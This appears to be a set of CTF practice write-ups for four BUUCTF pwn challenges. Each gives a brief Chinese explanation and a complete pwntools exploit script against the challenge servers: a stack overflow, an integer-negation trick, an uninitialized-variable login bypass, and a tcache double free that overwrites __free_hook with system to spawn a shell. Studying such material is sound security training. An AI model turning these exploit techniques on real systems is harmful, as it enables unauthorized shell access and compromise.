PWN-PRACTICE-BUUCTF-26
护网杯_2018_gettingstart
read到buf的时候有溢出,覆写v5为0x7FFFFFFFFFFFFFFF,v6为0x3FB999999999999A
from pwn import *
io=remote("node4.buuoj.cn",29057)
io.recvuntil("But Whether it starts depends on you.\n")
v5=0x7FFFFFFFFFFFFFFF
v6=0x3FB999999999999A
payload=p64(0)*3+p64(v5)+p64(v6)
io.send(payload)
io.sendline("cat flag")
io.interactive()
wustctf2020_number_game
neg对操作数执行求补运算:用零减去操作数,然后结果返回操作数
求补运算也可以表达成:将操作数按位取反后加1
0x80000000按位取反后加1,仍然是0x80000000,发送-2147483648即可
from pwn import *
#io=process("./wustctf2020_number_game")
io=remote("node4.buuoj.cn",29209)
elf=ELF("./wustctf2020_number_game")
io.sendline("-2147483648")
io.sendline("cat flag")
io.interactive()
picoctf_2018_are you root
未初始化验证漏洞,参考:PicoCTF_2018_are_you_root(未初始化验证漏洞)
# -*- coding:utf-8 -*-
from pwn import *
#io = process('./PicoCTF_2018_are_you_root')
io = remote('node4.buuoj.cn',26285)
def login(name):
io.sendlineafter('>','login ' + name)
def reset():
io.sendlineafter('>','reset')
def getFlag():
io.sendlineafter('>','get-flag')
login('a'*0x8 + p64(0x5))
reset()
login('P1umH0')
getFlag()
io.interactive()
ciscn_2019_en_3
puts泄露libc,uaf + double free,参考:ciscn_2019_en_3 tcache
# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ciscn_2019_en_3")
io=remote("node4.buuoj.cn",29625)
elf=ELF("./ciscn_2019_en_3")
libc=ELF("./libc-2.27-18-x64.so")
io.sendlineafter("What's your name?\n","P1umH0")
io.sendlineafter("Please input your ID.\n","a"*8)
setbuffer_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-231
libc_base=setbuffer_addr-libc.sym["setbuffer"]
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
def add(size,content):
io.sendlineafter("Input your choice:","1")
io.sendlineafter("Please input the size of story: \n",str(size))
io.sendlineafter("please inpute the story: \n",content)
def edit():
io.sendlineafter("Input your choice:","2")
def show():
io.sendlineafter("Input your choice:","3")
def free(index):
io.sendlineafter("Input your choice:","4")
io.sendlineafter("Please input the index:\n",str(index))
def exit():
io.sendlineafter("Input your choice:","5")
#gdb.attach(io)
#pause()
add(0x20,"aaaa")#0
add(0x20,"/bin/sh\x00")#1
#pause()
free(0)
free(0)
#pause()
add(0x20,p64(free_hook))
#pause()
add(0x20,"bbbb")
#pause()
add(0x20,p64(system))
#pause()
free(1)
io.interactive()